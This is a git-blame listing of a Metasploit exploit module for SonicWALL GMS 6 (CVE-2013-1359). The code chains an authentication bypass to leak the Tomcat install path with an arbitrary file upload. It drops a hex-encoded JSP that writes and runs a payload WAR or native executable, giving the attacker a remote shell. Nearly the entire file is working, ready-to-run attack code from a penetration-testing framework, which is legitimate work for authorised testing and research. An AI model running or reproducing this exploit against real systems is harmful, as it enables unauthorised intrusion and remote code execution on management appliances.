Files
metasploit-gs/modules/exploits/multi/http/sonicwall_gms_upload.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

277 lines
8.2 KiB
Ruby
Raw Normal View History

2013-01-22 01:54:41 +01:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-01-22 01:54:41 +01:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-01-28 00:02:26 -06:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2013-01-22 01:54:41 +01:00
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
2013-08-30 16:28:54 -05:00
2013-01-22 01:54:41 +01:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
2013-08-30 16:28:54 -05:00
2013-01-22 01:54:41 +01:00
def initialize(info = {})
super(update_info(info,
'Name' => 'SonicWALL GMS 6 Arbitrary File Upload',
2013-01-22 01:54:41 +01:00
'Description' => %q{
This module exploits a code execution flaw in SonicWALL GMS. It exploits two
vulnerabilities in order to get its objective. An authentication bypass in the
Web Administration interface allows to abuse the "appliance" application and upload
an arbitrary payload embedded in a JSP. The module has been tested successfully on
SonicWALL GMS 6.0.6017 over Windows 2003 SP2 and SonicWALL GMS 6.0.6022 Virtual
Appliance (Linux). On the Virtual Appliance the linux meterpreter hasn't run
2017-08-28 20:17:58 -04:00
successfully while testing, shell payload has been used.
2013-01-22 01:54:41 +01:00
},
'Author' =>
[
'Nikolas Sotiriu', # Vulnerability Discovery
2014-05-04 19:31:53 +02:00
'Redsadic <julian.vilas[at]gmail.com>', # Metasploit module
2013-01-22 01:54:41 +01:00
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-1359'],
[ 'OSVDB', '89347' ],
2013-01-22 01:54:41 +01:00
[ 'BID', '57445' ],
[ 'EDB', '24204' ]
],
'Privileged' => true,
'Platform' => %w{ linux win },
2013-01-22 01:54:41 +01:00
'Targets' =>
[
2013-01-28 00:02:26 -06:00
[ 'SonicWALL GMS 6.0 Viewpoint / Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
}
],
2013-01-22 01:54:41 +01:00
[ 'SonicWALL GMS 6.0 Viewpoint / Windows 2003 SP2',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
2013-02-07 21:09:32 -06:00
[ 'SonicWALL GMS 6.0 Viewpoint Virtual Appliance (Linux)',
2013-01-22 01:54:41 +01:00
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-01-17'))
2013-08-30 16:28:54 -05:00
2013-01-22 01:54:41 +01:00
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'Path to SonicWall GMS', '/'])
])
2013-01-22 01:54:41 +01:00
end
2013-08-30 16:28:54 -05:00
2013-02-07 16:56:38 -06:00
def install_path
return @install_path if @install_path
2013-08-30 16:28:54 -05:00
2013-01-22 01:54:41 +01:00
res = send_request_cgi(
{
2013-02-07 16:56:38 -06:00
'uri' => normalize_uri(target_uri.path,"appliance","applianceMainPage") + "?skipSessionCheck=1",
2013-01-22 01:54:41 +01:00
'method' => 'POST',
'connection' => 'TE, close',
'headers' =>
{
'TE' => "deflate,gzip;q=0.3",
},
'vars_post' => {
'num' => '123456',
'action' => 'show_diagnostics',
'task' => 'search',
'item' => 'application_log',
'criteria' => '*.*',
'width' => '500'
}
})
2013-08-30 16:28:54 -05:00
2013-02-07 16:56:38 -06:00
@install_path = nil
2013-01-22 01:54:41 +01:00
if res and res.code == 200 and res.body =~ /VALUE="(.*)logs/
2013-02-07 16:56:38 -06:00
@install_path = $1
2013-01-22 01:54:41 +01:00
end
2013-08-30 16:28:54 -05:00
2013-02-07 16:56:38 -06:00
@install_path
2013-01-22 01:54:41 +01:00
end
2013-08-30 16:28:54 -05:00
2013-01-22 01:54:41 +01:00
def upload_file(location, filename, contents)
post_data = Rex::MIME::Message.new
post_data.add_part("file_system", nil, nil, "form-data; name=\"action\"")
post_data.add_part("uploadFile", nil, nil, "form-data; name=\"task\"")
post_data.add_part(location, nil, nil, "form-data; name=\"searchFolder\"")
post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFilename\"; filename=\"#{filename}\"")
2013-08-30 16:28:54 -05:00
2013-01-22 01:54:41 +01:00
data = post_data.to_s
2013-08-30 16:28:54 -05:00
2013-01-22 01:54:41 +01:00
res = send_request_cgi(
{
2013-02-07 16:56:38 -06:00
'uri' => normalize_uri(target_uri.path, "appliance","applianceMainPage") + "?skipSessionCheck=1",
2013-01-22 01:54:41 +01:00
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'headers' =>
{
'TE' => "deflate,gzip;q=0.3",
},
'connection' => 'TE, close'
})
2013-02-07 16:56:38 -06:00
register_files_for_cleanup(path_join(location, filename))
2013-08-30 16:28:54 -05:00
2013-01-22 01:54:41 +01:00
if res and res.code == 200 and res.body.empty?
return true
else
return false
end
end
2013-08-30 16:28:54 -05:00
2013-02-07 21:09:32 -06:00
def upload_and_run_jsp(filename, contents)
upload_file(path_join(install_path,"webapps","appliance"), filename, contents)
send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, "appliance", filename),
'method' => 'GET'
})
end
2013-08-30 16:28:54 -05:00
2013-02-07 21:09:32 -06:00
def check
2013-02-07 16:56:38 -06:00
if install_path.nil?
2013-01-22 01:54:41 +01:00
return Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
2013-02-07 21:09:32 -06:00
if install_path.include?("\\")
2014-01-21 13:03:36 -06:00
vprint_status("Target looks like Windows")
2013-02-07 21:09:32 -06:00
else
2014-01-21 13:03:36 -06:00
vprint_status("Target looks like Linux")
2013-02-07 21:09:32 -06:00
end
2013-01-22 01:54:41 +01:00
return Exploit::CheckCode::Vulnerable
end
2013-08-30 16:28:54 -05:00
2013-01-22 01:54:41 +01:00
def exploit
# Get Tomcat installation path
2016-02-01 15:12:03 -06:00
print_status("Retrieving Tomcat installation path...")
2013-08-30 16:28:54 -05:00
2013-01-22 01:54:41 +01:00
if install_path.nil?
fail_with(Failure::NotVulnerable, "#{peer} - Unable to retrieve the Tomcat installation path")
2013-01-22 01:54:41 +01:00
end
2013-08-30 16:28:54 -05:00
2016-02-01 15:12:03 -06:00
print_good("Tomcat installed on #{install_path}")
2013-08-30 16:28:54 -05:00
2013-02-07 16:56:38 -06:00
if target['Platform'] == "java"
exploit_java
else
exploit_native
2013-01-22 01:54:41 +01:00
end
2013-02-07 16:56:38 -06:00
end
2013-08-30 16:28:54 -05:00
2013-02-07 16:56:38 -06:00
def exploit_java
2016-02-01 15:12:03 -06:00
print_status("Uploading WAR file")
2013-02-07 21:09:32 -06:00
app_base = rand_text_alphanumeric(4+rand(32-4))
2013-08-30 16:28:54 -05:00
2013-02-07 21:53:49 -06:00
war = payload.encoded_war({ :app_name => app_base }).to_s
war_filename = path_join(install_path, "webapps", "#{app_base}.war")
2013-08-30 16:28:54 -05:00
2013-02-07 21:09:32 -06:00
register_files_for_cleanup(war_filename)
2013-08-30 16:28:54 -05:00
2013-02-07 16:56:38 -06:00
dropper = jsp_drop_bin(war, war_filename)
dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp"
2013-08-30 16:28:54 -05:00
2013-02-07 21:09:32 -06:00
upload_and_run_jsp(dropper_filename, dropper)
2013-08-30 16:28:54 -05:00
2013-02-07 21:53:49 -06:00
10.times do
select(nil, nil, nil, 2)
2013-08-30 16:28:54 -05:00
2013-02-07 21:53:49 -06:00
# Now make a request to trigger the newly deployed war
2016-02-01 15:12:03 -06:00
print_status("Attempting to launch payload in deployed WAR...")
2013-02-07 21:53:49 -06:00
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
'method' => 'GET'
})
# Failure. The request timed out or the server went away.
break if res.nil?
# Success! Triggered the payload, should have a shell incoming
break if res.code == 200
end
2013-02-07 16:56:38 -06:00
end
2013-08-30 16:28:54 -05:00
2013-02-07 16:56:38 -06:00
def exploit_native
2016-02-01 15:12:03 -06:00
print_status("Uploading executable file")
2013-02-07 16:56:38 -06:00
exe = payload.encoded_exe
2013-02-07 21:53:49 -06:00
exe_filename = path_join(install_path, Rex::Text.rand_text_alpha(8))
2013-02-07 16:56:38 -06:00
if target['Platform'] == "win"
exe << ".exe"
end
2013-08-30 16:28:54 -05:00
2013-02-07 21:09:32 -06:00
register_files_for_cleanup(exe_filename)
2013-08-30 16:28:54 -05:00
2013-02-07 21:53:49 -06:00
dropper = jsp_drop_and_execute(exe, exe_filename)
2013-02-07 21:09:32 -06:00
dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp"
2013-08-30 16:28:54 -05:00
2013-02-07 21:09:32 -06:00
upload_and_run_jsp(dropper_filename, dropper)
2013-02-07 16:56:38 -06:00
end
2013-08-30 16:28:54 -05:00
2013-02-07 16:56:38 -06:00
def path_join(*paths)
if install_path.include?("\\")
2013-02-07 16:56:38 -06:00
path = paths.join("\\")
2013-02-08 11:52:50 -06:00
path.gsub!(%r|\\+|, "\\\\\\\\")
2013-02-07 16:56:38 -06:00
else
path = paths.join("/")
path.gsub!(%r|//+|, "/")
end
2013-08-30 16:28:54 -05:00
2013-02-07 16:56:38 -06:00
path
2013-01-28 00:02:26 -06:00
end
2013-08-30 16:28:54 -05:00
2013-02-07 21:09:32 -06:00
# This should probably go in a mixin
2013-02-07 16:56:38 -06:00
def jsp_drop_bin(bin_data, output_file)
2013-01-28 00:02:26 -06:00
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
2013-08-30 16:28:54 -05:00
2013-01-28 00:02:26 -06:00
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
2013-08-30 16:28:54 -05:00
2013-01-28 00:02:26 -06:00
jspraw << %Q|int numbytes = data.length();\n|
2013-08-30 16:28:54 -05:00
2013-01-28 00:02:26 -06:00
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q| comb <<= 4;\n|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|
2013-08-30 16:28:54 -05:00
2013-01-28 00:02:26 -06:00
jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
2013-02-07 16:56:38 -06:00
jspraw << %Q|%>\n|
2013-08-30 16:28:54 -05:00
2013-02-07 16:56:38 -06:00
jspraw
end
2013-08-30 16:28:54 -05:00
2013-02-07 16:56:38 -06:00
def jsp_execute_command(command)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
2013-02-08 11:52:50 -06:00
jspraw << %Q|try {\n|
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
jspraw << %Q|} catch (IOException ioe) { }\n|
2013-02-07 16:56:38 -06:00
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
2013-01-28 00:02:26 -06:00
jspraw << %Q|%>\n|
2013-08-30 16:28:54 -05:00
2013-02-07 16:56:38 -06:00
jspraw
end
2013-08-30 16:28:54 -05:00
2013-02-07 16:56:38 -06:00
def jsp_drop_and_execute(bin_data, output_file)
jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
2013-01-22 01:54:41 +01:00
end
end